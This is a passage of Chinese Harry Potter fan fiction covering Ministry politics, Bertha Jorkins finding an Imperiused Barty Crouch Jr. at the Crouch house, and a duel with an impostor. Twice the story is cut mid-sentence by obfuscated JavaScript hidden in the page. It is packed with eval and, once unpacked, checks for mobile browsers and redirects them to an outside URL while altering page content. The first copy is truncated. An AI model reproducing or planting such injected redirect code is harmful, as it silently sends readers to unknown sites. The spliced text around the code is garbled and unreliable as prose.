“你,”指向埃米洛,“人模狗样,一表人才,部里多少女巫盯着?没对象!” “阿米莉亚,”手指转向,“英姿飒爽,俊俏大方,能力顶尖吧?没对象!” “我呢?我活泼动人,娇俏可爱,冰雪聪明,秀外慧中……”她掰着手指细数自己的优点,“现在也没对象了!我们的共同点是什么?学院?No!发色?No!我们都、在、克、劳、奇、那、里、呆、过!”她一字一顿的说道。 “再看看克劳奇自己……嗯,家庭状况大家懂得都懂哈。他手下的老员工……沙克尔,穆迪,我现在的同事阿尔及,芒齐……哪个不是要么单身,要么家庭不幸?”她越说越激动,“不行,我今天下班必须去对角巷!买它一打转运水晶!不,英国的魔法可能不够强力,我得联系东亚那边的巫婆……她们感觉比特里劳妮家族那些神神叨叨的靠谱多了……” “你们需要的话我帮你们买,我现在认识可多代购……之前我就用了那边符纸,烧成灰喝掉,真的很有用……” 她的话音未落,一只皱巴巴的纸条猫头鹰般飞到她面前。伯莎拆开一看,瞬间像被戳破的气球:“我靠!又来了!” 她哀嚎一声,“让我下班去给克劳奇送文件!他们是不是搞不清楚状况!我现在是国际魔法法律办公室的副部长!副部长!不是他的跑腿秘书!”她气呼呼地拍了下桌子,震得咖啡杯轻晃,“好吧……克劳奇亲自下的命令……” 伯莎翻了个巨大的白眼,认命地站起身,嘴里还在小声嘟囔,“为什么不让伦考恩那个马屁精去送!烦死了!”她风风火火地抓起自己的东西,骂骂咧咧地消失在食堂门口。 “埃米洛,有个事情跟你商量一下。”阿米莉亚也适时起身,声音沉稳。两人并肩走向法律执行司,走廊的光线在他们身上投下长长的影子。 “上次福吉一票否决了撤销摄魂怪驻守阿兹卡班的提案,威森加摩那边想重新开会推动。”阿米莉亚开门见山,侧头观察着埃米洛的表情,“你什么想法?” “目标不变,必须推行,但需要策略,急不得。”埃米洛想到早上那些考核表,眉头又微微蹙了一下:“现在傲罗办公室能用的人手太少,像样的战力捉襟见肘。今天早上这批……”他微微摇头:“现在就更换肯定不合适。福吉……” 他顿了顿,斟酌了一下措辞,“部长现在对我与邓布利多那边的‘关系’颇为敏感。他正急于往傲罗队伍里塞所谓的‘自己人’,巩固他的影响力。这个节骨眼上强行推动敏感提案,只会适得其反,给他更多阻挠的借口。” “我明白了。”阿米莉亚点点头:“我通知威森加摩会议延后。现阶段我们能做什么?” “先做基础,筑好篱笆。”埃米洛思路清晰,“给阿兹卡班增派一批可靠的狱警,逐步替换过渡。现在那批还是克劳奇时代留下的……不,不要把这批人换下来,直接增派新人手,形成内部制衡。同时彻底清查登记所有在押囚犯信息,包括死亡、失踪的,时间地点必须精确无误。尤其是那些危险的重刑犯……”他的声音冷了下去,“该执行死刑的,按程序迅速执行,不留后患。名单整理好,我和你一起签字。” “英雄所见略同。”阿米莉亚嘴角露出一丝赞赏的笑意,打了个清脆的响指,“我这就去安排。”她步伐加快,带着雷厉风行的气势走向自己的办公室方向。 埃米洛则回到了自己位于法律执行司的办公室。这是一个半开放的空间,光线充足,窗边和角落摆放着几盆郁郁葱葱的魔法绿植(一盆魔鬼网被精心修剪得只展现出无害的藤蔓形态),为冷硬的办公环境增添了一抹生机。巨大的红木办公桌面异常整洁,只有必要的羽毛笔、墨水瓶和一盏黄铜台灯。旁边立着一个三层文件架,标签清晰:顶层“待处理”(堆得最高),中层“重议”,底层“已归档”。整个空间萦绕着淡淡的、仿佛渗入木纹的咖啡香气,透着一股冷静、高效、秩序井然的稳重感。 他的顶头上司,魔法部部长康奈利·福吉,正大喇喇地坐在他那张司长座椅上,肥胖的身体几乎填满了椅子的空间。看到埃米洛进来,福吉脸上堆起一个圆滑的笑容,费力地站起身。 “埃米洛啊!我的好司长!”福吉热情地张开双臂,给了他一个带着浓重古龙水味和权力压迫感的拥抱,声音洪亮得有些刻意,“最近怎么样?工作忙不忙?累不累?年轻人要注意身体啊!”他亲昵地拍着埃米洛的后背。 埃米洛不动声色地承受了这个拥抱,后退半步:“托部长改革的福,部里运转顺畅,效率提升显著。一切还好。”他的目光扫过呆立在门口的马法尔达·霍普柯克,示意她,“帮部长倒杯茶。” “是啊……我也这么觉得,欣欣向荣嘛!”福吉乐呵呵地接过茶杯,手指圆润光滑,他吹了吹热气,话锋却开始微妙地转向,“我最近啊,常常想起过去的事。还记得吗?我还是灾害司那个没什么油水的司长的时候,你被克劳奇……嗯,下放……也是这样站在我面前。那是多久?五年前?还是六年前?”他眯起眼睛,仿佛在回忆珍贵的画面,“我当时一看你,嘿,这小伙子!眼神就不一样,是块好料子!我就跟自己说,福吉啊,这样的人才,可不能放过,得好好培养!” 埃米洛垂下眼帘,语气谦恭而滴水不漏:“部长过誉了。我能有今天,全赖部长当年的知遇之恩和一路提点栽培。” “是啊……不容易啊!”福吉感慨地摸着双层下巴,手指上的宝石戒指在灯光下闪烁,“从灾害司那种清水衙门,一路走到魔法部核心的权力场……像我们这样一步步爬上来的,不多,都不容易。”他踱了两步,声音陡然低沉下来,带着一丝刻意的失望和敲打,“我一直觉得你这孩子,聪明,识大体……可最近怎么感觉……有点……倔了呢?” 他的目光像探照灯一样射向桌面——那里赫然躺着埃米洛早上画满红叉的那一摞实习傲罗考核表。 “埃米洛,我的好司长,”福吉的声音带着一种虚假的痛心疾首,他随手抽出旁边文件架上埃米洛亲自审批通过的《霍格沃茨城堡全面安全检修及防护升级预案》,“看看这个,你亲自批的。我听说前两天学校还真发现了条蛇怪?大功啊……埃米洛。” “再看看上周那份《圣芒戈魔法伤病医院强化安保及处理医闹应急预案》,也是你签的同意……我的司长啊!”他摊开手画圆,仿佛在展示一个巨大的窟窿,“这么多项目!哗啦啦的金加隆像流水一样往外淌!你堵住这些钱财的一个口子,我很难办啊。” 埃米洛沉默的等着他接下来的话。 “部里的金库不是古灵阁的宝山!这么多钱,你倒是给我出个主意,啊?”福吉的音调陡然拔高,带着雷霆般的怒意,肥胖的手掌“砰”地一声将茶杯重重顿在光滑的红木桌面上!滚烫的茶水四溅,留下一个难看的湿痕和几片茶叶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他观察着福吉的表情,缓缓道,“如果门槛过低,来者不拒,那些家族……比如卢修斯·马尔福。”他点到即止,“他们会如何看待魔法部?是否会觉得部长您……过于好说话?如果其他家族纷纷效仿……”他恰到好处地停顿,留给福吉足够的想象空间,“第二年再放他们进来,也是进来了。既给了他们台阶和面子,也彰显了魔法部用人唯才、程序严明的立场。长远来看,这只会提升这些职位的含金量,更有利于部长您掌控全局。您说呢?” 福吉眯缝着小眼睛,手指无意识地摩挲着下巴上的胡茬,权衡着利弊。办公室里只剩下绿植叶片轻微的沙沙声。片刻,他脸上的阴云彻底散去,换上了那副惯常的、油滑的笑容。 “可以!可以!”福吉满意地拍了拍埃米洛的肩膀,力道不小,“我就说嘛,没看错人!埃米洛你考虑问题就是周到!”他拿起茶杯,仿佛刚才的雷霆之怒从未发生。 “不过嘛,”福吉走到门口,手握住黄铜门把手,忽然又停住,转过身,脸上笑容依旧,眼神却带着一丝居高临下的警告,“有一小部分人,手续已经走完了,实在不好再驳回。明年按你的思路来,这一批……就先放进来吧。” 他的目光像冰冷的蛇信子,扫过角落里努力降低存在感的马法尔达·霍普柯克,“还有这位新来的秘书小姐……埃米洛,你在记忆注销指挥部也待过,处理这种……缺乏眼力见的新人,不用我多教你吧?”他意有所指地拖长了语调。 埃米洛微微躬身,姿态无可挑剔,声音平静无波:“部长放心,我会处理好的。” 福吉从鼻子里哼了一声,带着胜利者的姿态,推门离去。沉重的木门在他身后合拢,隔绝了外面的声音,却将一股无形的压力留在了室内。 霍普柯克的心跳得像要冲出胸膛,她惊恐地抬眼看向自己的新上司。埃米洛正拿起他那根光滑的冷杉木魔杖,在指间随意地转了个优雅的圈。冰冷的玻璃窗映出他线条分明的侧脸,那双灰蓝色的眼眸在背景映衬下显得深不见底,仿佛蕴藏着西伯利亚的寒冰。一股刺骨的寒意瞬间攫住了霍普柯克,让她控制不住地发起抖来。 埃米洛拿在手里的魔杖轻轻敲了敲杯壁,“以后再有部长和其他司长过来,要提前备好茶水。”声音依旧是那种平稳无波的调子。“温度控制在38℃左右,拿捏不好冰冻咒的程度就去国际合作司找伯莎·乔金斯,她会乐意教你的。知道了么?” 霍普柯克僵直的身体瞬间泄了力,劫后余生般拼命点头,原来不是要对自己施咒啊……也对,光天化日之下怎么可能…… “部长与我谈话时,你在外面呆着就行。期间任何人不得打扰。”埃米洛补充道,然后从抽屉里取出一张羊皮纸,推到桌沿,“过来,在这里签个字。” 小秘书的心又提到了嗓子眼,她挪过去,看着那份文件,手指颤抖,迟迟不敢落笔。她脑中闪过无数可怕的念头:保密协议?记忆修改同意书?她听说之前打仗的时候这位上司帮忙处理了很多这种事……不会吧不会吧。 “……这是你的正式调职函。”埃米洛似乎看穿了她的恐惧,几不可闻地叹了口气,屈起指节,在羊皮纸顶端的标题处敲了敲,“你该不会……现在想反悔,不打算来法律执行司总部了吧?” “哦!哦哦哦!不!当然不是!司长!”巨大的惊喜和尴尬瞬间淹没了马法尔达,她觉得自己快哭出来了。她抓起羽毛笔,几乎是扑上去,用生平最快的速度签下了自己的名字,字迹因为激动而有些歪扭。“谢谢司长!我……我去归档文件!”她涨红着脸,语无伦次地找了个借口,抱着签好的文件,像逃离龙穴一样飞快地冲出了办公室。 埃米洛非常好脾气的挥挥手,示意她自便。房门在霍普柯克身后关上的瞬间,年轻司长灰蓝色的眼眸骤然变得无比幽深。一缕极其细微、几乎无法察觉的银色丝线般的光雾,从女孩匆忙离去的后脑勺逸散出来,如同被无形的力量牵引,精准地没入了窗边那盆长势良好的魔鬼网根部的土壤中,消失不见。他的目光在那处土壤停留了一瞬,浓密的睫毛垂下,遮住了眼底所有翻涌的情绪,只余下一片深潭般的平静。 35.两个小苦瓜 伯莎气喘吁吁地跋涉在通往克劳奇府邸的泥泞小路上,肺里灌满了山谷里凛冽的寒气。肩上那个塞满文件的背包像块巨石,压得她肩膀生疼。 这周边几十里都是荒凉的山谷,被一层又一层古老的禁止幻影移形咒语锁得严严实实。老牌纯血家族总像受迫害妄想症患者,恨不得用世界上所有的的咒语把自己裹成密不透风的铁桶。 前几日的积雪尚未化尽,山路湿滑不堪,冰冷的泥水溅在她裤腿上,寒气丝丝缕缕地钻进骨头缝里。伯莎揉着隐隐作痛的膝盖,心里骂骂咧咧:再多跑几趟这种鬼地方,自己非得得麻瓜们说的“风湿”不可! 之前来送文件的时候,布德罗里克都陪着她。两个人牵着手走在路上,彼此相互接触的那只手体温都很高,像是两朵夏天的云,碰撞出眼睛里流出的春风,还有指腹间粘腻的小雨。 当那座黑石宅邸的轮廓终于刺破灰蒙蒙的天际线时,伯莎积攒了一路的怨气几乎要冲破天灵盖。她三步并作两步冲到那扇厚重的、布满铁艺花纹的橡木门前,把所有的烦躁都倾注在拳头上,带着发泄意味地“砰砰砰”重锤下去。 门“吱呀”一声,带着滞涩的呻吟开了条缝。后面露出家养小精灵闪闪那双标志性的、网球大小的褐色眼睛。 “乔金斯小姐!”闪闪的声音带着一丝不易察觉的疲惫,但仍保持着毕恭毕敬的姿态。她深深鞠了一躬,几乎把鼻子贴到地面,才小心翼翼地接过伯莎手里那个沉甸甸的文件袋。 “能帮我倒杯水么?闪闪?”伯莎扶着酸痛的肩膀,大口喘着粗气问,目光越过闪闪的肩膀投向门厅。“克劳奇先生不在家?” “老爷今天去探望老朋友了。”闪闪侧身让开狭窄的通道,引着伯莎走向客厅里奶白色的沙发,“小姐请坐。我去给您倒水,玫瑰花茶可以么?” 伯莎胡乱点点头,几乎是瘫倒进沙发里,皮革发出沉闷的吱吱声。直到这时,她才真正有暇打量这个久违的地方——这是克劳奇夫人去世后她第一次踏入这里。 一股陈旧的灰尘味混杂着过度使用的清洁剂气息,顽固地弥漫在空气里。厚重的、仿佛从未拉开过的深蓝色天鹅绒窗帘紧闭着,将冬日午后本就稀薄可怜的光线彻底隔绝在外,整个客厅如同浸泡在浓稠冰冷的墨汁里。 记忆里那些曾点缀过一丝生气的物件——窗台上插着鲜花的花瓶、沙发上搭着的编织毛毯、壁炉架上可爱的小摆件——统统消失了,只剩下冰冷空旷的家具轮廓。最触目惊心的是墙壁:原本挂满历代克劳奇家族成员画像的地方,如今空荡荡一片,光秃秃的墙纸透着死寂。唯独正对沙发的墙壁上,高悬着一幅巨大的、黑白的克劳奇夫人遗像,像一只沉默而悲伤的眼睛。 巫师的画像是会动的。画中的克劳奇夫人似乎被她们进门的动静惊扰,长长的睫毛颤动了几下,缓缓睁开了眼睛。她双手优雅地合十放在胸前,温柔如水的眼眸盛满了化不开的、几乎要滴落下来的悲伤。她的视线穿透冰冷的画框,直勾勾地、无声地凝视着沙发上的伯莎。 伯莎被她盯得后颈汗毛倒竖。她尴尬地朝画像扯出一个笑容,手指无意识地绞着衣角,虽然有些害怕,但她还是忍不住去偷偷的瞄克劳奇夫人的画像——因为她太美了,有气质的那种美。克劳奇夫人有一头像黑玉一样的头发,天然或非天然的成为波浪形,灰蓝色的眼睛柔美纯净,像是蒙着薄雾的溪水。眼睛上面是弓形的,纤细而弯曲的眉毛,身材高挑细长,极其简单的裙装在她身上显露出了比本身高出百倍的价值,每一跟裙子的褶皱都服帖的随着她的动作摇晃,即使是最爱挑剔的眼睛也无法指责这位女士分毫。 她想起以前,优雅得体的克劳奇夫人去圣芒戈探视病人们,她对着他们微笑,纤细白净的手指轻轻搭在病人们枯瘦的手上,眼神朦胧而温柔。这副画面瞬间为克劳奇赚足了民意。 伯莎曾深深同情过她,她觉得克劳奇夫人就应该像精心培育在温室里的丁香花一样好好在家里养病。还有她那被当作政治工具的儿子小巴蒂。作为克劳奇曾经的贴身秘书,她太清楚老巴蒂是如何将儿子视作一枚精心打磨、只为了在竞选魔法部长时增光添彩的勋章了。那种无处不在的高要求,仅仅是旁观,就让人窒息。 “……帮帮我……” 一声极轻、极细,如同垂死之人最后一丝叹息般的呓语,几乎被客厅死一般的寂静吞噬,却又异常清晰地拂过伯莎的耳畔,带着冰冷的湿气。 伯莎猛地一激灵,心脏像被一只冰冷的手攥紧。她甩甩头,怀疑是自己神经绷得太紧产生的幻听,或者是窗外呜咽的风声? 假的!是画像!是魔法!她在心里不停的默念道。身体像被无形的绳索捆住,在柔软的沙发上挪动了一下,坐得更僵直了,连呼吸都变得小心翼翼。 “帮帮我……”那声音又重复了一遍,比刚才更清晰。 这次伯莎确信无疑,声音的源头,正是墙上那幅巨大的遗像!克劳奇夫人画像的嘴唇在微弱的光线下微微翕动,那双悲伤的眼睛里,哀求如同实质的泪水,几乎要溢出来,直直地刺向伯莎! “夫人?”伯莎的心脏狂跳如擂鼓,几乎要从喉咙里蹦出来。她压低了声音,试探着问。 画像里的夫人没有言语,只是用眼神更加急切地示意着——楼上!接着,她抬起苍白得近乎透明的手,颤抖着指了指自己的太阳穴,又打出一连串复杂而无声的手势,手指飞快地交叠、翻转——伯莎完全看不懂。 楼上?楼上有什么?伯莎犹豫的望向克劳奇夫人,她的悲伤做不了假。所以是什么让遗像念念不忘?八卦之魂在强烈的恐惧与更加强烈的好奇心之间激烈地拉锯、撕扯。 理智在尖叫着让她立刻离开这个诡异的地方,但骨子里那股“乔金斯式”的旺盛好奇心和近乎本能的探秘欲,此刻如同浇了油的火焰,熊熊燃烧,瞬间压倒了恐惧。 她深吸一口气,仿佛要把肺里最后一点勇气都吸进去,然后像猫一样,踮起脚尖,蹑手蹑脚地踏上了通往二楼的、盘旋而上的黑木楼梯。 二楼是主人的卧室区,光线比楼下更加稀薄昏暗,如同沉入深海的黄昏。走廊尽头,一扇门半开着,里面没有灯光,只有浴缸的方向透出幽幽的、不祥的惨绿色光芒。几缕水草般的阴影在里面诡异地摇曳、扭动,水面似乎还漂浮着一团白花花的东西——像是一条翻着肚皮的死鱼,散发出若有若无的腥气。 一股阴冷潮湿的气息扑面而来,带着地下室的霉味。伯莎猛地打了个寒颤,下意识地握紧了袖中滑出的魔杖,冰冷的杖身给了她一丝微弱的依靠。她屏住呼吸,小声念出咒语:“荧光闪烁!”杖尖亮起一团微弱但稳定的白光,在浓墨中撕开一道小小的口子,勉强驱散了身前几步的黑暗。她小心翼翼地探索着这条阴森的走廊。经过一扇紧闭的、雕着复杂花纹的橡木房门时—— “哐当!!!” 一声巨响毫无预兆地炸开!一阵不知从何而来的、强劲得诡异的穿堂风猛地撞开了那扇门!沉重的门板狠狠拍在墙上,又反弹回来,发出令人心悸的回响! 伯莎心脏骤停,差点把魔杖直接扔出去!猛地靠向冰冷的墙壁,后背瞬间被冷汗浸透。她大口喘着气,强迫自己镇定下来,然后才颤抖着将魔杖的光柱投向那扇洞开的门内。借着惨白的光线,她看清了——这里显然是……小巴蒂·克劳奇曾经的房间。 房间非常地整洁,甚至可以说是一丝不苟得可怕,透着一种非人的、冰冷的秩序感。一面墙是顶天立地的巨大书架,塞满了按颜色深浅和书脊大小排列得整整齐齐的书籍;另一面墙则密密麻麻贴满了从霍格沃茨入学通知书到N.E.W.Ts全优证书的各类奖状,以及摆满了各种魁地奇奖杯、学院杯纪念品和“最佳魔咒学生”之类的金质奖牌,在魔杖光下反射着冰冷的光泽。伯莎看得目瞪口呆,一个人从小到大的“荣誉”竟然能铺满整整一面墙? 她的目光不由自主地被床头柜上一个孤零零的相框吸引过去。那是这间死气沉沉的房间里,除了楼下那幅巨大遗照外唯一的私人照片。照片里是年轻许多的老巴蒂·克劳奇和他同样年轻的妻子,两人中间抱着一个金发蓝眼、大约五六岁的小男孩。小男孩的轮廓柔和,更像温柔的母亲,但那双浅蓝色的眼睛和微微抿起的嘴角流露出的严肃神态,却像极了父亲。 “啧,这时候看着倒是挺像那么回事……”伯莎撇撇嘴,心里嘀咕着,将相框放回原处。她走向那扇被狂风吹开的、正对着走廊的窗户,准备把它关上,隔绝外面呜咽的风声。 就在她走到窗边,左脚刚要落下,准备去够窗把手时—— 噗嗤! 她的脚掌没有踩到预想中厚实的地毯,而是陷入了一片极其柔软、细腻、仿佛流动的丝绸或者某种冰凉凝胶般的织物!那触感异常突兀、诡异!紧接着,一股无法抗拒的巨大力量猛地攫住了她的脚踝!那力量冰冷、滑腻,如同章鱼的触手! “啊——!”惊呼声刚冲到喉咙口,世界瞬间天旋地转!伯莎整个人被那股无形的力量狠狠拽倒,身体失去平衡,后脑勺“咚”地一声重重磕在坚硬的地板上,眼前瞬间炸开一片金星!手中的魔杖脱手飞出,“啪嗒”一声滚落在地毯边缘,杖尖那点微弱但救命的光芒瞬间熄灭! 剧痛和眩晕中,伯莎感觉脑浆都在震荡。她本能地挣扎着想撑起身子,模糊的视野却在这一片混沌的黑暗中,瞬间捕捉到房间最深处、靠近壁炉的阴暗角落里——一个高大、僵硬的身影正站在那里!他就那样背对着她,一动不动,像一尊被遗忘在角落、落满灰尘的蜡像,与房间的阴影几乎融为一体。 小巴蒂·克劳奇!他不是已经死在阿兹卡班了吗? 恐惧如同冰水,瞬间浇灭了所有其他感官,直冲头顶! 伯莎的心脏像是被一只无形的手死死攥住,停止了跳动!她手脚并用地向后疯狂爬行,后背“砰”地一声狠狠撞上了冰冷的石头窗沿,退无可退!她死死屏住呼吸,仿佛连呼吸声都会惊动那个恶魔,惊恐到极致的眼睛瞪得溜圆,死死锁定在那个一动不动的身影上。 小巴蒂依旧纹丝不动,对房间里刚才巨大的摔倒声和她的挣扎毫无反应,仿佛真的只是一尊雕像。借着窗外透进来的最后一点微弱惨淡的天光,伯莎终于看清了他的侧脸——苍白得毫无血色,像涂了一层石灰,那双本该锐利、闪烁着疯狂光芒的浅蓝色眼睛此刻空洞无神,直勾勾地盯着前方虚无的空气,瞳孔涣散放大,胸膛几乎没有起伏,呼吸微弱得如同风中残烛,几不可闻。 夺魂咒! 这个念头如同惊雷般在伯莎脑中炸响!她原来在法律执行司经手过太多这类案例报告。这种彻底的、如同提线木偶般的僵硬和空洞,这种灵魂被强行剥离躯壳的恐怖状态,正是被极其强大的夺魂咒彻底控制的典型症状!小巴蒂·克劳奇不是应该在阿兹卡班腐烂吗?他怎么会在这里?还被施了夺魂咒?!老巴蒂·克劳奇……他做了什么?! 巨大的恐惧和强烈的求生欲瞬间如同海啸般淹没了伯莎!她顾不上摔得嗡嗡作响的后脑勺和近在咫尺却遥不可及的魔杖,手脚发软地挣扎着从冰冷的地板上爬起来,脑子里只有一个念头在疯狂咆哮——跑!立刻离开! 她踉跄着冲向门口,穿着高跟鞋的脚崴了一下,传来钻心的痛。她的心脏狂跳得几乎要从撕裂的胸腔里蹦出来,手指即将触碰到门框—— 一个高大、带着浓重户外寒气和压抑到极致的、如同即将喷发火山般怒火的身影,毫无预兆地堵在了门口!几乎与亡命奔逃的伯莎撞了个满怀! 老巴蒂·克劳奇显然刚从冰天雪地中回来,黑色长袍的下摆还沾着未化的雪粒,散发着刺骨的寒气。脸上惯有的那种刻板、公事公办的严肃此刻荡然无存,取而代之的是一种山雨欲来、令人窒息到极点的阴沉。 他甚至没有开口质问。那无声的、充满致命压迫感的凝视,已经让伯莎如坠万丈冰窟,她感觉自己像一只被蛇盯住的青蛙,连指尖都僵硬得无法动弹…… -—— 平底锅里,一块洁白的鳕鱼排滋滋作响,边缘泛起诱人的、均匀的金黄色。埃米洛专注地观察着鱼肉纹理在热量下的微妙变化,用锅铲小心地翻面,确保受热完美均匀,直到鱼肉变得紧实雪白,散发出淡淡的、令人安心的海洋鲜香。 他熄掉炉火,手腕轻转,淋上预先调好的、色泽清亮如琥珀的酱油料汁。 “吃饭吧。” 埃米洛将盛着完美鳕鱼的餐盘放在罗杰面前,自己却没有坐下。他径直走到巨大的落地窗前。窗外是伦敦沉沉的夜景,万家灯火如同倒悬的星河,璀璨却遥远。玻璃窗上,清晰地映出他身后那个局促不安的身影。 餐桌对面的罗杰手指无意识地抠着粗糙的木质桌面。“你……你不吃吗?”他小心翼翼地问,带着明显的讨好和心虚。 埃米洛背对着他,仿佛没有听见。 沉默在宽敞得有些过分的客厅里蔓延,带着一种粘稠的、令人窒息的、如同深海般的压力。 大部分时间,当罗杰试图与他进行这种徒劳的交谈时,埃米洛都会选择这种冰冷的、彻底的漠视。他最开始以为自己只是不想跟他说话,后来有一天,他突然意识到自己行为中潜藏的黑暗面——他在报复。用他曾经最憎恨、最恐惧的父权阴影,反过来笼罩这个苍老、落魄、不得不依赖他生存的男人。 他无声的享受着这种掌控感,看到罗杰在沉默中煎熬,在窘迫中不得不开口向他索要生活费时,他心底会掠过一丝扭曲的快意…… “……你的腿今天怎么样?”他终于转过身,打破这令人窒息的沉默。 罗杰明显愣住了,脸上瞬间闪过受宠若惊,随即眼神剧烈闪烁,下意识地将右腿往餐桌下缩了缩:“就……就是老样子……阴雨天有点酸……不碍事,不碍事……” “我帮你看一下吧。”埃米洛卷起衬衫袖子朝他走去。 “这……这就不用了吧!真的没事!”罗杰的身体猛地向后缩进椅背,避开埃米洛审视的目光,双手紧张地绞着衣角,指节发白。 埃米洛的眉头不满意地蹙起,他伸出手,正要强行检查那个明显在遮掩的右膝—— 叮咚!叮咚!叮咚!叮咚! 急促刺耳、如同警报般的门铃声疯狂地响起!一声紧似一声,带着一种不顾一切的狂躁。 他的眼神一凛,没有立刻开门,而是侧身贴近门板,通过猫眼向外看去——门外走廊昏暗的灯光下,映出一张因极度惊恐而扭曲变形的脸,写满了绝望和无助——是布德罗里克。 布德罗里克?他怎么会知道我住在这里?伯莎告诉他的? 门刚开了一条缝,布德罗里克像抓住救命稻草般猛地扑了进来。他死死攥住埃米洛的手腕,指甲几乎要嵌进他的皮肉里:“埃米洛!伯莎不见了!她失踪了!已经一天没上班了!不在自己家里,不在部里,我找遍了她的朋友,都说没看见她!她就像……就像人间蒸发了一样!”他的声音带着哭腔,眼泪和鼻涕糊了一脸,狼狈不堪。 “你先站起来说话。”埃米洛用力将几乎瘫软在地的布德罗里克从冰冷的地板上拽起来,强迫他站稳,抽回了自己的手腕,不动声色的审视着对方脸上每一个细微的表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168763|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她不是请假了么?我今天去国际魔法合作司还看到了她的假条,上面签了名的。” “那不是她自己写的!”布德罗里克几乎是在嘶吼,眼睛布满血丝,死死盯着埃米洛,仿佛他是唯一的希望,“我也看到了!那签名……那字迹模仿得很像,但瞒不过我!那不是伯莎写的!我认得她的每一个笔画习惯!从昨天……昨天她去克劳奇那里送东西之后……我就再也没有她的任何消息了!她像人间蒸发了一样!” “你是说克劳奇绑架了她?” “我……我也不知道啊!”布德罗里克崩溃地摇头,双手胡乱抓着自己的头发,“也许是……食死徒残党!他们埋伏在克劳奇家里,为了报复他当年抓捕他们!伯莎……伯莎只是去送文件,却撞到了枪口上……她肯定看到什么不该看的了!埃米洛,求你了,看在梅林的份上!那是伯莎!她现在可能正在受苦!可能……可能已经……”他不敢再说下去,巨大的恐惧让他几乎窒息,“我们得马上去救她!现在就去克劳奇家!只有你能帮我了!”他再次如同溺水者般扑上来,抓住埃米洛的手臂(这次是睡衣的袖子),就要不顾一切地把他往外拖。 “你等等!冷静一下。”埃米洛纹丝不动,冷静地拨开布德罗里克的手,“不能这样贸然行动。你联系傲罗办公室了么?……” “来不及了!等傲罗走完那些该死的程序,得到授权,伯莎就完了!她的尸体都凉透了!” 布德罗里克像头被逼到绝境的困兽,爆发出惊人的力量,再次疯狂地扑上来拉扯埃米洛的睡衣,“埃米洛!没时间了!我们必须立刻去!现在!马上!求你了!帮帮我!救救伯莎!”他的嘶吼带着一种歇斯底里的绝望,力气大得惊人,睡衣领口被拽得变形,扣子都崩开了一颗。 两人在玄关处激烈地拉扯起来。布德罗里克的疯狂举动更印证了埃米洛的怀疑——这不仅仅是关心则乱,更像是一种逼迫,一种急于将他引向某个陷阱的焦躁。 埃米洛被他扯得一个趔趄,后背撞在冰冷的门框上。他眼角的余光瞥见轮椅上的罗杰,对方的眼神里滑过一丝担忧,朝着他们颤抖着举起了魔杖。 不行,不能在这里拉扯下去…… “够了!”埃米洛低喝一声,猛地甩开布德罗里克近乎钳制的手。他深吸一口气,脸上露出一丝妥协的疲惫和无奈,“……好吧。你等我换件衣服。穿着睡衣没法出门。” 布德罗里克终于松开了手,如有实质的目光刺在他的背上。 埃米洛转身,推着罗杰的轮椅快步走向卧室。 “发生了什……” “别说话。”埃米洛压低了生意。他从旁边的柜子上拿出一个钥匙扣塞到他手里:“拿好这个,注入魔力通知傲罗,还有你的魔杖。” 这个钥匙扣是个防御用的魔法器具,能阻挡三次魔咒伤害,并作为报警器呼叫傲罗。 他走向衣柜,借着门框的掩护,在门板闭合的阴影里,右手闪电般探入床头柜抽屉的隐秘夹层!一小支魔药滑入他的掌心。 没有时间犹豫!埃米洛猛地转身,隔着尚未完全闭合的门缝,把魔药丢了出去,精准无比地对准了门外因焦急而背对着他、正死死盯着大门口方向的“布德罗里克”的后心!瓶子碎裂的瞬间,一股白色的浓烟爆开。 几乎就在同一毫秒!“布德罗里克”仿佛背后长了眼睛,如同猎豹般猛地转身扑向玄关柜上一个不起眼的装饰花瓶——那下面是飞路粉! 让他逃?还是—— “昏昏倒地!”(Stupefy) 埃米洛的咒语如同撕裂空气的红色闪电,抢先半步激射而出! 砰!哗啦——! 红光击中了“布德罗里克”探向花瓶的手!魔咒的冲击力和他扑出的力量撞在一起,将他狠狠掼在玄关柜上!柜子上一个沉重的玻璃水杯被震落,摔在地上炸裂开来!飞溅的锋利碎片如同冰刃四射。 “布德罗里克”发出一声痛呼,身体失去平衡。但埃米洛的咒语并未完全击中要害! 埃米洛毫不停歇,一步踏出卧室,无视脚下锋利的玻璃碴,魔杖再次抬起!而“布德罗里克”也忍着剧痛,用另一只完好的手猛地抓起刚才掉在地上的魔杖,指向埃米洛。 第六感前所未有的爆发了,埃米洛微微侧头的瞬间,魔咒擦着他的额头射在了对面的墙上,墙体瞬间炸出了一个大坑。 “昏昏倒地!”一道更加凝练刺目的红光从埃米洛的杖间射出! 这一次,精准命中!刺目的红光狠狠击中“布德罗里克”的胸膛!对方连哼都没哼一声,身体猛地一僵,眼中疯狂的光芒瞬间熄灭,随即像截断线的木偶般,直挺挺地向前扑倒在地毯上,发出沉闷的响声。他手中刚抓到的魔杖也脱手滚落。 埃米洛这才感觉到左脚掌心传来一阵剧痛——一片锋利的玻璃碎片在他刚才踏出时深深嵌入了脚掌,划开一道长长的、深可见骨的口子,鲜血瞬间涌出,顺着手指滴落在昂贵的地毯上,晕开一小片暗红。 温热的液体顺着额头滑下,他随手抹了一把额头上的血迹,不让它们干扰自己的视线。 罗杰推着轮椅滑出,他指着地上不省人事的“布德罗里克”,又看向手持魔杖、眼神冰冷如霜、掌心还在滴血的埃米洛,吓得浑身筛糠般颤抖,语无伦次:“发……发生了什么?你……你对他做了什么?……他死了吗?你杀人了?!” “你……你怎么样?!” 埃米洛没有理会父亲那夸张的惊骇。他快步上前,蹲下身,魔杖依旧警惕地指着地上昏迷的“布德罗里克”。伸出两根沾着血的手指,用力在对方下颌边缘、鬓角和发际线附近揉搓按压——皮肤纹理自然,没有复方汤剂残留的黏腻感,也没有人皮面具的接缝痕迹。 